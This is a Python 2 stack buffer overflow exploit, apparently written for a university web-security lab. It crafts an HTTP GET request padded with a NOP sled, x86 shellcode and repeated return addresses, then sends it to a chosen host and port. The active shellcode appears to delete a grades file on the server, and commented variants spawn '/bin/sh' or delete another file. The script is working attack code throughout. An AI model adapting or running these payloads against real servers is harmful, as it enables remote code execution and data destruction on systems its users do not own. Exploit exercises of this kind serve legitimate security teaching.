#!/usr/bin/python
import sys
import socket
import traceback

####

def build_exploit(shellcode):
    b_size = 2067#sys.argv[3]
    offset = 900#sys.argv[4]
    ret = 0xbffff608 - 0x384#eval(sys.argv[4])
    req =   "GET"
    directory = " /" 
#    directory += "/zoobar/media"
#    header = "sc: "
    for i in range(0, b_size/2):
	directory += "\x90"
    directory += shellcode
    ret = str(hex(ret))[2:]
    ret = str(ret)[:-1]
    print "ret: ",ret
    ret_str = ""
    for i in range(0,len(ret)):
        if(i%2==0):
  	    ret_str = chr(eval("0x"+ret[i:i+2])) + ret_str
    print "ret_str: ",ret_str
    for ch in ret_str:
	print(ord(ch)),
    print ""

    for i in range(0, b_size/8):
	directory += ret_str

    req += directory
    req += " HTTP/1.1\r\n"
#    req += header
    req += "\r\n"
		
    return req

####

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
	resp = resp + rbuf
	rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

####

if len(sys.argv) != 3:
    print("Usage: " + sys.argv[0] + " host port" + " exploit-bytes" + " offset")
    exit()

try:
    shellfile = open("shellcode.bin", "r")
    shellcode = shellfile.read()
    #shellcode.decode("utf-16")
    #shellcode ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    #shellcode ="\xeb\x1e\x5e\x89\x76\x17\x31\xc0\x88\x46\x16\x89\x46\x1b\xb0\x00"
    shellcode ="\xeb\x1e\x5e\x89\x76\x17\x31\xc0\x88\x46\x16\x89\x46\x1b\xb0\x09\xfe\xc0\x89\xf3\x31\xc9\x89\xca\x41\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"
   # shellcode = "\xeb\x1e\x5e\x89\x76\x0c\x31\xc0\x88\x46\x0b\x89\x46\x10\xb0\x0a\x89\xf3\x31\xc9\x89\xca\x41\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x67\x72\x61\x64\x65" 
    print(shellcode)
    req = build_exploit(shellcode)
    print("HTTP request:")
    print(req)

    resp = send_req(sys.argv[1], int(sys.argv[2]), req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())
